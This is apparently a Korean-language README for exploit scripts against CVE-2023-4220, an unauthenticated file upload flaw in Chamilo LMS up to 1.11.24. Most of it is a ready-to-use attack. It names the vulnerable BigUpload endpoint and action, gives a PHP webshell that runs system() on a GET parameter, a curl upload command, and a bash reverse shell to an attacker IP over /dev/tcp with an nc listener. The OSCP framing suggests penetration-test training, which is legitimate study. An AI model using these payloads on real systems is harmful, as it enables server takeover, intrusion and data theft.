
CVE-2023-4220 — Chamilo LMS ≤ 1.11.24에서의 인증되지 않은 파일 업로드 RCE. OSCP 스타일 및 자동 익스플로잇.
CVE-2023-4220에 대한 Python 익스플로잇입니다. 이 취약점은 Chamilo LMS <= 1.11.24에 영향을 미치는 인증되지 않은 임의 파일 업로드 취약점입니다.
취약점은 Chamilo의 BigUpload 구성 요소에 있습니다. 취약한 설치 환경에서는 업로드 핸들러가 적절한 검증 없이 PHP 파일을 업로드할 수 있도록 허용합니다. 업로드된 파일은 웹에서 접근 가능한 디렉토리에 저장되므로, PHP 실행이 활성화되어 있으면 업로드된 PHP 파일을 직접 요청하여 웹쉘로 사용할 수 있습니다.
해당 리포지토리에는 두 가지 버전의 익스플로잇이 포함되어 있습니다:
chamilo_cve_2023_4220_auto.py
chamilo_cve_2023_4220_oscp.py
두 스크립트 모두 PHP 웹쉘을 업로드하고, 명령 실행을 확인하며, cmd GET 매개변수를 통해 명령을 실행할 수 있습니다. 실제 차이점은 --shell 처리 방식뿐입니다.
auto 버전은 자체 리스너를 시작하고, 리버스 셸을 트리거한 후 자동으로 대화형 세션으로 전환합니다.
oscp 버전은 리버스 셸 페이로드를 트리거하지만 리스너를 시작하지 않습니다. 실행하기 전에 수동으로 리스너를 시작해야 합니다.
리포지토리를 클론합니다:
git clone https://github.com/SpeatX/ChamiloLMS-cve-2023-4220.git
cd ChamiloLMS-cve-2023-4220
요구 사항을 설치합니다:
python3 -m pip install -r requirements.txt
유일한 외부 종속성은 requests이므로 수동으로 설치할 수도 있습니다:
python3 -m pip install requests
대상은 -u 또는 --url로 전달됩니다:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
두 스크립트에서 동일한 옵션을 사용할 수 있습니다:
-u, --url Target base URL
--check Check if the BigUpload files directory is reachable
--upload Upload the webshell and verify command execution
--cmd CMD Execute a single command through the uploaded webshell
--shell LHOST LPORT Trigger a reverse shell
--filename NAME Use a custom filename for the uploaded PHP file
--proxy PROXY Send traffic through a proxy, for example Burp Suite
--timeout SECONDS Set the HTTP timeout
--verify-tls Enable TLS certificate verification
--cleanup Try to remove the uploaded webshell after execution
자동 버전에는 다음도 포함됩니다:
--listen-timeout SEC Time to wait for the reverse shell connection
예상 BigUpload 경로에 접근 가능한지 확인합니다:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --check
PHP 웹쉘을 업로드하고 명령 실행을 확인합니다:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --upload
단일 명령 실행:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id
사용자 정의 파일명 사용:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd whoami --filename shell.php
Burp Suite를 통해 트래픽 전송:
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --cmd id --proxy http://127.0.0.1:8080
위의 예제는 auto 스크립트를 사용했지만, 동일한 구문을 chamilo_cve_2023_4220_oscp.py에서도 사용할 수 있습니다.
--shell 옵션은 두 스크립트에 모두 존재하지만, 사용되는 버전에 따라 다르게 동작합니다.
python3 chamilo_cve_2023_4220_auto.py -u http://target.com --shell 10.10.14.3 4444
이 버전은 10.10.14.3:4444에서 로컬 리스너를 시작하고, 웹쉘을 업로드하며, 리버스 셸을 트리거한 후 자동으로 대화형 세션을 엽니다.
이 버전을 사용할 때는 수동으로 nc를 실행할 필요가 없습니다.
먼저 수동으로 리스너를 시작하십시오:
sudo nc -nlvp 4444
그런 다음 다른 터미널에서 익스플로잇을 실행합니다:
python3 chamilo_cve_2023_4220_oscp.py -u http://target.com --shell 10.10.14.3 4444
이 버전은 업로드된 웹쉘을 통해 리버스 셸 페이로드만 전송합니다. 연결은 수동으로 시작한 리스너에서 수신합니다.
두 스크립트에 의해 트리거되는 리버스 셸 명령은 다음과 동일합니다:
bash -c 'bash -i >& /dev/tcp/10.10.14.3/4444 0>&1'
LHOST 값이 대상에서 접근 가능한지 확인하십시오. VPN 환경에서는 일반적으로 터널 인터페이스 주소입니다:
ip -brief addr show tun0
CVE-2023-4220은 Chamilo LMS 버전 1.11.24까지 영향을 미칩니다.
취약한 업로드 핸들러는 다음 위치에 있습니다:
/main/inc/lib/javascript/bigupload/inc/bigUpload.php
익스플로잇이 악용하는 액션은 다음과 같습니다:
?action=post-unsupported
업로드된 파일은 일반적으로 다음 위치에서 접근 가능합니다:
/main/inc/lib/javascript/bigupload/files/
익스플로잇은 BigUpload가 예상하는 폼 필드를 사용하여 multipart/form-data POST 요청을 보냅니다:
bigUploadFile
업로드된 PHP 페이로드는 작은 명령 래퍼입니다:
<?php echo "__SPX_START__"; system($_GET["cmd"]); echo "__SPX_END__"; ?>
명령은 cmd GET 매개변수를 통해 전달됩니다:
http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id
명령 출력 주변의 마커는 HTTP 응답에서 관련 부분을 추출하는 데 사용됩니다.
스크립트에서 수행하는 업로드는 다음과 동일합니다:
curl -i -s -X POST \
-F '[email protected];filename=shell.php' \
'http://target.com/main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported'
업로드 성공 후, 명령 실행은 다음과 같이 테스트할 수 있습니다:
curl 'http://target.com/main/inc/lib/javascript/bigupload/files/shell.php?cmd=id'
--check는 예상 BigUpload 파일 디렉토리에 접근 가능한지만 확인합니다. 긍정적인 결과가 대상이 익스플로잇 가능하다는 것을 보장하지는 않습니다.
완전한 검증을 위해서는 PHP 페이로드를 업로드하고 --upload 또는 --cmd로 명령 실행을 확인해야 합니다.
업로드는 작동하지만 명령 실행이 실패하는 경우, 업로드 디렉토리에서 PHP 실행이 비활성화되었거나, 대상이 패치되었거나, 서버 측 규칙이 요청을 차단하고 있을 수 있습니다.
실행 후 업로드된 PHP 파일을 제거하려면 --cleanup을 사용하십시오.